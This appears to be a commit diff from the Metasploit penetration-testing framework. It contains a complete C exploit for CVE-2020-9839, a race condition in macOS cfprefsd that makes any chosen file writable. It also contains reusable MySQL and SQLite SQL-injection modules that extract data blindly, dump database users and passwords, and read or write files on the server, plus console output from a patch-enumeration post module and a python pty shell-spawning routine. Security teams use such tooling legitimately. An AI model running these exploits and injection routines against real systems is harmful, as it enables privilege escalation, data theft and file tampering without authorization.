[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
[*] Post module execution completed
msf6 post(windows/gather/enum_patches) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/enum_patches) > run
[*] Patch list saved to /home/gwillcox/.msf4/loot/20200902125729_default_172.29.215.21_enum_patches_495652.txt
[+] KB4569751 installed on 8/17/2020
[+] KB4497165 installed on 8/17/2020
[+] KB4517245 installed on 4/10/2020
[+] KB4537759 installed on 4/10/2020
[+] KB4552152 installed on 4/10/2020
[+] KB4561600 installed on 8/17/2020
[+] KB4569073 installed on 8/17/2020
[+] KB4565351 installed on 8/17/2020
[*] Post module execution completed
msf6 post(windows/gather/enum_patches) >
```
+15
View File
@@ -0,0 +1,15 @@
TARGET := exploit
all: $(TARGET)
$(TARGET): exploit.m
$(CC) -o $@ $^
clean:
rm -f $(TARGET)
install:
mkdir -p ../../../../data/exploits/CVE-2020-9839/
cp $(TARGET) ../../../../data/exploits/CVE-2020-9839/exploit
.PHONY: all clean
+129
View File
@@ -0,0 +1,129 @@
#include <sandbox.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <xpc/xpc.h>
#include <pthread.h>
char *TARGET;
char *WRITABLE;
char *USER;
const int COUNT = 10000;
int status = 0;
bool pwned = false;
void *race(void *arg) {
while(!pwned) {
symlink(TARGET, "!");
unlink("!/a.plist");
rmdir("!");
unlink("!");
}
return NULL;
}
void exploit() {
char *serviceName = "com.apple.cfprefsd.daemon";
status = 0;
xpc_connection_t conn;
xpc_object_t msg;
conn = xpc_connection_create_mach_service(serviceName, NULL, 0);
if (conn == NULL) {
perror("xpc_connection_create_mach_service");
return;
}
xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) {
status++;
});
xpc_connection_resume(conn);
msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1);
xpc_dictionary_set_string(msg, "CFPreferencesUser", USER);
char writable_subpath[0x1000];
sprintf(writable_subpath, "%s%s", WRITABLE, "/!/a.plist");
xpc_dictionary_set_string(msg, "CFPreferencesDomain", writable_subpath);
xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true);
xpc_dictionary_set_bool(msg, "CFPreferencesAvoidCache", true);
xpc_dictionary_set_string(msg, "Key", "key");
xpc_dictionary_set_string(msg, "Value", "value");
for(int i = 0; i < COUNT; i++) {
xpc_connection_send_message(conn, msg);
}
while(status < COUNT) {
usleep(100000);
}
}
void *pwn(void *arg) {
while(1) {
int testaccess = access(TARGET, W_OK);
if(!testaccess) {
printf("pwned! %s is now writable!\n", TARGET);
pwned = true;
break;
} else {
perror("access");
}
usleep(1000000);
}
return NULL;
}
static void
connection_handler(xpc_connection_t peer)
{
xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
printf("Message received: %p\n", event);
});
xpc_connection_resume(peer);
}
void make_writable(char * target) {
struct passwd *pw = getpwuid(getuid());
if(!pw) {
perror("getpwuid");
exit(1);
}
WRITABLE = pw->pw_dir;
USER = pw->pw_name;
TARGET = target;
setvbuf(stdout, 0, 2, 0);
chdir(WRITABLE);
pthread_t thread[2];
pthread_create(&thread[0], NULL, race, NULL);
pthread_create(&thread[1], NULL, pwn, NULL);
while(!pwned) {
printf("Trying %d calls...\n", COUNT);
exploit();
}
unlink("!/a.plist");
rmdir("!");
unlink("!");
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s /file/to/make/writable\n", argv[0]);
return -1;
}
make_writable(argv[1]);
return 0;
}
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.0.3"
VERSION = "6.0.5"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+7 -11
View File
@@ -258,9 +258,9 @@ class CommandShell
def cmd_shell_help()
print_line('Usage: shell')
print_line
print_line('Pop up an interactive shell via multi methods.')
print_line('Pop up an interactive shell via multiple methods.')
print_line('An interactive shell means that you can use several useful commands like `passwd`, `su [username]`')
print_line('There are three implementation of it: ')
print_line('There are four implementations of it: ')
print_line('\t1. using python `pty` module (default choice)')
print_line('\t2. using `socat` command')
print_line('\t3. using `script` command')
@@ -274,17 +274,13 @@ class CommandShell
return cmd_sessions_help
end
# Why `/bin/sh` not `/bin/bash`, some machine may not have `/bin/bash` installed, just in case.
# 1. Using python
# 1.1 Check Python installed or not
# We do not need to care about the python version
# Beacuse python2 and python3 have the same payload of spawn a shell
python_path = binary_exists("python")
python_path = binary_exists("python") || binary_exists("python3")
if python_path != nil
# Payload: import pty;pty.spawn('/bin/sh')
# Base64 encoded payload: aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vc2gnKQ==
print_status("Using `python` to pop up an interactive shell")
shell_command("#{python_path} -c 'exec(\"aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vc2gnKQ==\".decode(\"base64\"))'")
# Ideally use bash for a friendlier shell, but fall back to /bin/sh if it doesn't exist
shell_path = binary_exists("bash") || '/bin/sh'
shell_command("#{python_path} -c \"#{ Msf::Payload::Python.create_exec_stub("import pty; pty.spawn('#{shell_path}')") } \"")
return
end
@@ -324,7 +320,7 @@ class CommandShell
def binary_exists(binary)
print_status("Trying to find binary(#{binary}) on target machine")
binary_path = shell_command_token("which #{binary}").to_s.strip
if binary_path.eql?("#{binary} not found")
if binary_path.eql?("#{binary} not found") || binary_path == ""
print_error(binary_path)
return nil
else
+1 -1
View File
@@ -1,9 +1,9 @@
require 'rex/socket/ssl'
require 'faker'
module Msf
module Ssl
module CertProvider
autoload :Faker, 'faker'
def self.rand_vars(opts = {})
opts ||= {}
@@ -3,9 +3,9 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
# XXX: This function is stupidly long. It needs to be refactored.
def import_msf_collateral(args={}, &block)
data = ::File.open(args[:filename], "rb") {|f| f.read(f.stat.size)}
wspace = Msf::Util::DBManager.process_opts_workspace(args, framework).name
wspace = Msf::Util::DBManager.process_opts_workspace(args, framework)
args = args.clone()
args.detele(:workspace)
args.delete(:workspace)
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
basedir = args[:basedir] || args['basedir'] || ::File.join(Msf::Config.data_directory, "msf")
@@ -59,7 +59,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
return 0 if bl.include? host_info[loot.at("host-id").text.to_s.strip]
loot_info = {}
loot_info[:host] = host_info[loot.at("host-id").text.to_s.strip]
loot_info[:workspace] = args[:workspace]
loot_info[:workspace] = wspace
loot_info[:ctype] = nils_for_nulls(loot.at("content-type").text.to_s.strip)
loot_info[:info] = nils_for_nulls(unserialize_object(loot.at("info"), allow_yaml))
loot_info[:ltype] = nils_for_nulls(loot.at("ltype").text.to_s.strip)
@@ -104,7 +104,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
# Parses task Nokogiri::XML::Element
def parse_zip_task(task, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
task_info = {}
task_info[:workspace] = args[:workspace]
task_info[:workspace] = wspace
# Should user be imported (original) or declared (the importing user)?
task_info[:user] = nils_for_nulls(task.at("created-by").text.to_s.strip)
task_info[:desc] = nils_for_nulls(task.at("description").text.to_s.strip)
@@ -165,7 +165,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
# XXX: Refactor so it's not quite as sanity-blasting.
def import_msf_zip(args={}, &block)
data = args[:data]
wspace = Msf::Util::DBManager.process_opts_workspace(args, framework).name
wspace = Msf::Util::DBManager.process_opts_workspace(args, framework)
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename])
+4 -2
View File
@@ -97,9 +97,11 @@ module Msf
#
# @param (see Exploit::Remote::Tcp#connect)
# @return (see Exploit::Remote::Tcp#connect)
def connect(global=true, versions: [])
def connect(global=true, versions: [], backend: nil)
if versions.nil? || versions.empty?
versions = datastore['SMB::ProtocolVersion'].split(',').map(&:to_i)
# if the user explicitly set the protocol version to 1, still use ruby_smb
backend ||= :ruby_smb if versions == [1]
end
disconnect() if global
@@ -114,7 +116,7 @@ module Msf
direct = false
end
c = Rex::Proto::SMB::SimpleClient.new(s, direct, versions, always_encrypt: datastore['SMB::AlwaysEncrypt'])
c = Rex::Proto::SMB::SimpleClient.new(s, direct, versions, always_encrypt: datastore['SMB::AlwaysEncrypt'], backend: backend)
# setup pipe evasion foo
if datastore['SMB::pipe_evasion']
+14 -6
View File
@@ -1,13 +1,14 @@
#
# This mixin provides helpers to perform SQL injection
# - provides a level of abstraction for common queries, for example, querying the table names
# - implements blind and time-based SQL injection in a reusable manner
# - Highly extendable (user can run any code to perform the requests, encode payloads and parse results)
#
require 'msf/core/exploit/sqli/common'
require 'msf/core/exploit/sqli/sqlitei'
require 'msf/core/exploit/sqli/mysqli'
module Msf
#
# This mixin provides helpers to perform SQL injection
# - provides a level of abstraction for common queries, for example, querying the table names
# - implements blind and time-based SQL injection in a reusable manner
# - Highly extendable (user can run any code to perform the requests, encode payloads and parse results)
#
module Exploit::SQLi
def initialize(info = {})
super
@@ -18,6 +19,13 @@ module Msf
)
end
#
# Creates an SQL injection object, this is the method module writers should use
# @param dbms [Class] The SQL injection class you intend to use
# @param opts [Hash] The options to use with this SQL injection
# @param query_proc [Proc] The proc that takes an SQL payload as a parameter, and queries the server
# @return [Object] an instance of dbms
#
def create_sqli(dbms:, opts: {}, &query_proc)
raise ArgumentError, 'Invalid dbms class' unless dbms.is_a?(Class) && dbms.ancestors.include?(Msf::Exploit::SQLi::Common)
+8 -3
View File
@@ -5,8 +5,11 @@ module Msf::Exploit::SQLi
include Msf::Module::UI
#
# Creates an instance of an SQL Injection object, instantiate directly only if you don't know the DBMS in use
# Creates an instance of an SQL Injection object, users should use the create_dbms method of Msf::Exploit::SQLi instead
#
# @param datastore [DataStore]
# @param framework [Framework]
# @param user_output [Rex::Ui::Text::Output::Stdio]
# @param opts [Hash] a dictionnary containing the parameters needed
# @option opts [Integer] truncation_length : [Optional] The number of characters returned, if the query result is truncated
# @option opts [String] concat_separator : [Optional] The separator to use when concatenating rows (default ',')
@@ -15,7 +18,7 @@ module Msf::Exploit::SQLi
# @option opts [String] null_replacement : a string that will replace NULL values
# @option opts [Boolean] hex_encode_strings : encode strings as hex numbers, no quotes in the payload
# @option opts [Object] an encoder name, or a hash specifying a custom encoder, see Encoders in DBMS-specific classes
# @param query_proc is a block that will receive the payload, and should send the request to the target,
# @param query_proc [Proc] a block that will receive the payload, and should send the request to the target,
# - if it's a regular SQL injection, it should return the part of the response that is the query result (one row)
# - if it's a boolean-based blind SQL injection, it should return `true`, `false`, or a value that evaluates to one of them
# `true` if the query returned a result, false otherwise
@@ -45,7 +48,7 @@ module Msf::Exploit::SQLi
# run multiple queries for that purpose), not to be overriden, it is guaranteed that the query
# will run only once.
# @param query [String] The SQL query to execute
# @return [String] The query results if any, ignore it if you don't expect output
# @return [void]
#
def raw_run_sql(query)
vprint_status "{SQLi} Executing (#{query})"
@@ -74,6 +77,8 @@ module Msf::Exploit::SQLi
#
# This method checks that the required options are present, and have valid values
# @param opts [Hash] the options provided by the user
# @return [void]
#
def check_opts(opts)
raise ArgumentError, 'null_replacement option cannot contain single quotes' if opts[:null_replacement] && opts[:null_replacement].include?("'")
@@ -1,57 +1,19 @@
require 'msf/core/exploit/sqli/utils/boolean_based_blind'
#
# Boolean-Based Blind SQL injection support for MySQL
# Boolean-Based Blind SQL injection support for MySQL/MariaDB
#
class Msf::Exploit::SQLi::MySQLi::BooleanBasedBlind < Msf::Exploit::SQLi::MySQLi::Common
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
super
end
#
# Gets the output of the given SQL query, in a boolean-based blind manner.
# The block given to initialize must return true if querying its parameter
# gave a result, false otherwise.
# @param query [String] The SQL query to execute
# @param output_charset [Range] The range of characters to expect in the output, optional
# can improve performance a lot, as fewer bits need to be guessed on each character.
# example : ('0' .. '9') if you know the output of your query contains only numeric characters
# @return [String] The query results
#
def run_sql(query, output_charset: nil)
if output_charset.is_a?(Range) && output_charset.count > 0
known_bits, bits_to_guess = get_bitmask(output_charset)
else
known_bits = 0
bits_to_guess = 8
end
vprint_status "{SQLi} Executing (#{query})"
if @hex_encode_strings
query = hex_encode_strings(query)
vprint_status "{SQLi} Encoded to (#{query})"
end
# first, get the length of the output
output_length = blind_detect_length(query, false)
vprint_status "{SQLi} Boolean-based injection: expecting output of length #{output_length}"
# now, get the output, of the given length
blind_dump_data(query, output_length, known_bits, bits_to_guess, false)
end
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
#
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
# the values returned by the bloc for some boolean queries are correct.
# @return [Boolean] Whether the check determined that boolean-based blind SQL injection works
#
def test_vulnerable
out_true = blind_request('1=1')
out_false = blind_request('1=2')
out_true && !out_false
end
private
#
# Performs one request, should leak one bit of information
# (if return value is not false or nil, 1, 0 otherwise)
#
def blind_request(query)
@query_proc.call(query)
end
end
+53 -38
View File
@@ -1,16 +1,15 @@
# coding: ascii-8bit
require 'base64'
#
# This class represents a MySQL Injection object, its primary purpose is to provide the common queries
# This class represents a MySQL/MariaDB Injection object, its primary purpose is to provide the common SQL queries
# needed when performing SQL injection.
# Instanciate it only if you get the query results of your SQL injection returned on the response.
# This class should not be instanciated directly, refer to Msf::Exploit::SQLi#create_sqli.
#
module Msf::Exploit::SQLi::MySQLi
class Common < Msf::Exploit::SQLi::Common
#
# Encoders supported by MySQL
# Keys are mysql function names, values are decoding procs in Ruby
# Encoders supported by MySQL/MariaDB
# Keys are MySQL/MariaDB function names, values are decoding procs in Ruby
#
ENCODERS = {
base64: {
@@ -23,7 +22,6 @@ module Msf::Exploit::SQLi::MySQLi
}
}.freeze
BIT_COUNTS = { 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze
#
# See SQLi::Common#initialize
#
@@ -37,8 +35,8 @@ module Msf::Exploit::SQLi::MySQLi
end
#
# Query the MySQL version
# @return [String] The MySQL version in use
# Query the MySQL/MariaDB version
# @return [String] The MySQL/MariaDB version in use
#
def version
call_function('version()')
@@ -70,41 +68,46 @@ module Msf::Exploit::SQLi::MySQLi
#
# Query the character encoding of the given database
# @param database [String] the name of a database, or a function call, or nil for the current database
# @return [String] The character encoding, or nil if the database does not exist, or another error occurs
# @param database [String] the name of a database, or a function call, defaults to the current database
# @return [String] The character encoding of the chosen database
#
def enum_database_encoding(database='database()')
def enum_database_encoding(database = 'database()')
dump_table_fields('information_schema.schemata', %w[DEFAULT_CHARACTER_SET_NAME],
"SCHEMA_NAME=#{database.include?('(') ? database : "'" + database + "'"}").flatten[0]
end
#
# Query the names of the tables in a given database
# @param database [String] the name of a database, or a function call, or nil for the current database
# @param database [String] the name of a database, or a function call, defaults to the current database
# @return [Array] An array of Strings, the table names in the given database
#
def enum_table_names(database='database()')
def enum_table_names(database = 'database()')
dump_table_fields('information_schema.tables', %w[table_name],
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end
def enum_view_names(database='database()')
#
# Query the names of the views in a given database
# @param database [String] the name of a database, or a function call, defaults to the current database
# @return [Array] An array of Strings, the view names in the given database
#
def enum_view_names(database = 'database()')
dump_table_fields('information_schema.views', %w[table_name],
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end
#
# Query the mysql users (their username and password), this might require root privileges.
# Query the MySQL/MariaDB users (their username and password), this might require elevated privileges.
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password
#
def enum_dbms_users
# might require root privileges
# might require elevated privileges
dump_table_fields('mysql.user', %w[User Password])
end
#
# Query the column names of the given table in the given database
# @param table_name [String] the name of the table of which you want to query the column names, can be: database.table
# @param table_name [String] the name of the table of which you want to query the column names, eg: database.table
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
#
def enum_table_columns(table_name)
@@ -189,6 +192,7 @@ module Msf::Exploit::SQLi::MySQLi
#
# Checks if the target is vulnerable (if the SQL injection is working fine), by checking that
# queries that should return known results return the results we expect from them
# @return [Boolean] Whether the SQL injection check was successful
#
def test_vulnerable
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
@@ -198,13 +202,18 @@ module Msf::Exploit::SQLi::MySQLi
#
# Attempt writing data to the file at the given path
# @param fpath [String] The path of the file to write to
# @param data [String] The data to write to the given file
# @return [void]
#
def write_to_file(fpath, data)
raw_run_sql("select '#{data}' into dumpfile '#{fpath}'")
end
#
# Attempt reading from a file on the filesystem
# Attempt reading from a file on the filesystem, requires having the FILE privilege
# @param fpath [String] The path of the file to read
# @return [String] The content of the file if reading was successful
#
def read_from_file(fpath)
run_sql("select load_file('#{fpath}')")
@@ -232,7 +241,7 @@ module Msf::Exploit::SQLi::MySQLi
end
#
# Checks the options specific to MySQL
# Checks the options specific to MySQL/MariaDB
#
def check_opts(opts)
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
@@ -242,6 +251,11 @@ module Msf::Exploit::SQLi::MySQLi
super
end
#
# Returns the output of a MySQL function call
# @param function [String] The function call, function_name(arguments...)
# @return [String] What the function call returns
#
def call_function(function)
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
output = nil
@@ -254,6 +268,12 @@ module Msf::Exploit::SQLi::MySQLi
output
end
#
# Returns the length of the data that query should return, this is used in blind SQL injections
# @param query [String] The SQL query to execute
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
# @return [Integer] The length of the data that query should return
#
def blind_detect_length(query, timebased)
if_function = ''
sleep_part = ''
@@ -273,6 +293,15 @@ module Msf::Exploit::SQLi::MySQLi
output_length
end
#
# Retrieves the output of the given SQL query, this method is used in Blind SQL injections
# @param query [String] The SQL query the user wants to execute
# @param length [Integer] The expected length of the output of the result of the SQL query
# @param known_bits [Integer] a bitmask all the bytes in the output are expected to match
# @param bits_to_guess [Integer] the number of bits that must be retrieved from each byte of the query output
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
# @return [String] The query result
#
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
if_function = ''
sleep_part = ''
@@ -292,24 +321,10 @@ module Msf::Exploit::SQLi::MySQLi
output
end
def get_bitmask(range)
if range.begin.is_a?(String)
range = range.map(&:ord)
else
range = range.to_a
end
raise ArgumentError, 'Invalid range' unless range.first >= 0 && range.last <= 255
# the low bits that change between the ascii codes
bitmask = range.each_cons(2).inject(0) { |m, (v1, v2)| m | (v1 ^ v2) }
# the bits that remain the same
known_bits = range[0] & ~bitmask
bits_to_guess = BIT_COUNTS[bitmask]
[known_bits, bits_to_guess]
end
#
# Encodes strings in the query string as hexadecimal numbers
# Encodes strings in the query string as hexadecimal numbers
# @param query [String] an SQL query
# @return [String] The input query, where strings are replaced by hex sequences
#
def hex_encode_strings(query)
# empty strings are not encoded, they can be avoided anyway
@@ -1,58 +1,19 @@
require 'msf/core/exploit/sqli/utils/time_based_blind'
#
# Time-Based Blind SQL injection support for MySQL
# Time-Based Blind SQL injection support for MySQL/MariaDB
#
class Msf::Exploit::SQLi::MySQLi::TimeBasedBlind < Msf::Exploit::SQLi::MySQLi::Common
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
super
end
#
# Runs an SQL query, and returns its results (time-based blind technique)
#
# @param query [String] The SQL query to execute
# @param output_charset [Range] The range of characters to expect in the output, optional
# @return [String] The query result
#
def run_sql(query, output_charset: nil)
# TODO: detect latency and update sleepdelay manually?
if output_charset.is_a?(Range) && output_charset.count > 0
known_bits, bits_to_guess = get_bitmask(output_charset)
else
known_bits = 0
bits_to_guess = 8
end
vprint_status "{SQLi} Executing (#{query})"
if @hex_encode_strings
query = hex_encode_strings(query)
vprint_status "{SQLi} Encoded to (#{query})"
end
# first, get the length of the output
output_length = blind_detect_length(query, true)
vprint_status "{SQLi} Time-based injection: expecting output of length #{output_length}"
# now, get the output, of the given length
blind_dump_data(query, output_length, known_bits, bits_to_guess, true)
end
include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
#
# This method checks if the target is vulnerable to Blind time-based injection by checking if
# the target sleeps only when a given condition is true.
# the target sleeps only when a given condition is true, and doesn't when it's false.
# @return [Boolean] Whether the check confirmed that the time-based SQL injection works
#
def test_vulnerable
# run_sql and check if output is what's expected, or just check for delays?
out_true = blind_request("if(1=1,sleep(#{datastore['SqliDelay']}),0)")
out_false = blind_request("if(1=2,sleep(#{datastore['SqliDelay']}),0)")
out_true && !out_false
end
private
#
# Performs one request, and does timing measurement, should leak one bit of information
#
def blind_request(query)
time = Time.now
@query_proc.call(query)
diff = Time.now - time
diff >= datastore['SqliDelay']
end
end
+6
View File
@@ -0,0 +1,6 @@
module Msf::Exploit::SQLi::SQLitei
end
require 'msf/core/exploit/sqli/sqlitei/common'
require 'msf/core/exploit/sqli/sqlitei/boolean_based_blind'
require 'msf/core/exploit/sqli/sqlitei/time_based_blind'
@@ -0,0 +1,19 @@
require 'msf/core/exploit/sqli/utils/boolean_based_blind'
#
# Boolean-Based Blind SQL injection support for SQLite
#
class Msf::Exploit::SQLi::SQLitei::BooleanBasedBlind < Msf::Exploit::SQLi::SQLitei::Common
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
#
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
# the values returned by the bloc for some boolean queries are correct.
# @return [Boolean] Whether the check confirmed that boolean-based blind SQL injection works
#
def test_vulnerable
out_true = blind_request('1=1')
out_false = blind_request('1=2')
out_true && !out_false
end
end
+251
View File
@@ -0,0 +1,251 @@
#
# This class represents an SQLite Injection object, its primary purpose is to provide the common SQL queries
# needed for performing SQL injection on SQLite.
# This class should not be instanciated directly, refer to Msf::Exploit::SQLi#create_sqli.
#
module Msf::Exploit::SQLi::SQLitei
class Common < Msf::Exploit::SQLi::Common
#
# Encoders available for SQLite
#
ENCODERS = {
hex: {
encode: 'hex(^DATA^)',
decode: proc { |data| Rex::Text.hex_to_raw(data) }
}
}.freeze
#
# Creates an SQLite injection object, refer to SQLi::Common#initialize for a description of the options
# @return [SQLi::SQLitei::Common]
#
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
opts[:concat_separator] ||= ','
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
opts[:encoder] = opts[:encoder].downcase.intern
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
end
super
end
#
# Returns the version of SQLite in use
# @return [String] The version of SQLite in use
#
def version
call_function('sqlite_version()')
end
#
# Returns the names of the tables present on the current database
# @return [Array] an array of Strings, the names of the tables in the current database
#
def enum_table_names
dump_table_fields('sqlite_master', %w[tbl_name], "type='table'").flatten
end
#
# Returns the names of the columns of the given table
# NOTE: might not work if pragma_table_info is not supported, use run_sql,
# and query sql from sqlite_master if you need it in older versions of SQLite
# @param table [String] The name of a table
# @return [Array] an array of strings, the names of the columns of the given table
#
def enum_table_columns(table)
dump_table_fields("pragma_table_info('#{table}')", %w[name]).flatten
end
#
# Attempt writing data to the file at the given path
# Note: target must support stacked queries, and injection point must be at the start of a new query
# @return [void]
#
def write_to_file(fpath, data)
db, tbl, col = 3.times.map { Rex::Text.rand_text_alpha(rand(2..5)) }
raw_run_sql("attach database '#{fpath}' AS #{db}; create table #{db}.#{tbl}(#{col} blob); insert into #{db}.#{tbl}(#{col}) values('#{data}')")
end
#
# Dumps data from a given table
# @param table [String] The name of the table
# @param columns [Array] an Array of Strings, the names of the columns to retrieve
# @param condition [String] an optional condition, return only records that satisfy it
# @param limit [Integer] optional, limit the number of rows to return to this value
# @return [Array] an array of rows, each row being an array of strings, strings being values at the given columns
#
def dump_table_fields(table, columns, condition = '', limit = '')
return '' if columns.empty?
one_column = columns.length == 1
if one_column
columns = "ifnull(#{columns.first},'#{@null_replacement}')"
columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
else
columns = columns.map do |col|
col = "ifnull(#{col},'#{@null_replacement}')"
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
end.join("||'#{@second_concat_separator}'||")
end
unless condition.empty?
condition = ' where ' + condition
end
num_limit = limit.to_i
if num_limit > 0
limit = ' limit ' + num_limit.to_s
end
retrieved_data = nil
if @safe
# no group_concat, leak one row at a time
row_count = run_sql("select count(1) from #{table}#{condition}").to_i
num_limit = row_count if num_limit == 0 || row_count < num_limit
retrieved_data = num_limit.times.map do |current_row|
if @truncation_length
truncated_query("select substr(cast(#{columns} as blob),^OFFSET^,#{@truncation_length}) from " \
"#{table}#{condition} limit 1 offset #{current_row}")
else
run_sql("select cast(#{columns} as blob) from #{table}#{condition} limit 1 offset #{current_row}")
end
end
else
if num_limit > 0
alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
if @truncation_length
retrieved_data = truncated_query('select substr(group_concat(' \
"#{alias1},'#{@concat_separator}'),"\
"^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as blob) #{alias1} from #{table}"\
"#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
else
retrieved_data = run_sql("select group_concat(#{alias1},'#{@concat_separator}')"\
" from (select cast(#{columns} as blob) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
end
else
if @truncation_length
retrieved_data = truncated_query('select substr(group_concat(' \
"cast(#{columns} as blob),'#{@concat_separator}')," \
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator)
else
retrieved_data = run_sql("select group_concat(cast(#{columns} as blob),'#{@concat_separator}')" \
" from #{table}#{condition}#{limit}").split(@concat_separator)
end
end
end
retrieved_data.map do |row|
row = row.split(@second_concat_separator)
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
end
end
#
# Returns true if the SQL injection is found to work as expected
# @return [Boolean] whether the check determined that the SQL injection works
#
def test_vulnerable
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
query_string = "'#{random_string}'"
query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
output = run_sql("select #{query_string}")
(@encoder ? @encoder[:decode].call(output) : output) == random_string
end
private
#
# Runs the given SQL query, expecting that the block always returns @truncation_length characters,
# replacing ^OFFSET^ with numbers, for internal use in other methods
# @param query [String] The SQL query to run, containing ^OFFSET^
# @return [String] The result of the SQL query
#
def truncated_query(query)
result = [ ]
offset = 1
loop do
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
offset += @truncation_length # should be same as @truncation_length for most cases
result << slice
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
break if slice.length < @truncation_length
end
result.join
end
#
# Returns the result of an SQLite function call
# @param function [String] the function to call, parenthesis included, sqlite_version() for example
# @return [String] the output of the function
#
def call_function(function)
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
output = nil
if @truncation_length
output = truncated_query("select substr(#{function},^OFFSET^,#{@truncation_length})")
else
output = run_sql("select #{function}")
end
output = @encoder[:decode].call(output) if @encoder
output
end
#
# Detects the length of the output of query in a blind manner
# @param query [String] The SQL query to execute
# @param timebased [Boolean] Whether or not it's a time-based blind injection
# @return [Integer] the length of the output of query
#
def blind_detect_length(query, timebased)
sleep_part = ''
if timebased
sleep_part = " and randomblob(#{@heavyquery_parameter})"
end
output_length = 0
i = 0
loop do
output_bit = blind_request("length(cast((#{query}) as blob))&#{1 << i}<>0#{sleep_part}")
output_length |= (1 << i) if output_bit
i += 1
stop = blind_request("length(cast((#{query}) as blob))/#{1 << i}=0#{sleep_part}")
break if stop
end
output_length
end
#
# Retrieves the result of query in a blind manner
# @param query [String] the SQL query to execute
# @param length [Integer] the expected length of the result
# @param known_bits [Integer] (returned by get_bitmask) bits that are common to all the output characters
# @param bits_to_guess [Integer] (returned by get_bitmask) The number of bits to guess on each character of the output
# @param timebased [Boolean] Whether or not it's a time-based blind injection
# @return [String] The result of the given query
#
def blind_dump_data(query, length, known_bits, _bits_to_guess, timebased)
sleep_part = ''
if timebased
sleep_part = " and randomblob(#{@heavyquery_parameter})"
end
output = length.times.map do |j|
current_character = known_bits
8.times do |k|
output_bit = blind_request("unicode(substr(cast((#{query}) as blob), #{j + 1}, 1))&#{1 << k}<>0#{sleep_part}")
current_character |= (1 << k) if output_bit
end
current_character.chr
end.join
output
end
#
# Encodes strings to bypass quotes filtering
# @param query [String] the SQL query to encode
# @return [String] the given SQL query where quoted strings are encoded
#
def hex_encode_strings(query)
# for more encoding capabilities, run code at the beginning of your block
query.gsub(/'.*?'|".*?"/) do |match|
'char(' + match[1..-2].each_codepoint.map { |code| '0x' + code.to_s(16) }.join(',') + ')'
end
end
end
end
@@ -0,0 +1,59 @@
require 'msf/core/exploit/sqli/utils/time_based_blind'
#
# Time-Based Blind SQL injection support for SQLite
#
class Msf::Exploit::SQLi::SQLitei::TimeBasedBlind < Msf::Exploit::SQLi::SQLitei::Common
include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
HEAVYQUERY_DETECTION_SAMPLE = 10 # number of times to check if the block takes a delay to respond
#
# Creates an object that will be used for running time-based blind SQL injections targeting SQLite
# refer to SQLi::Common#initialize for a description of the options
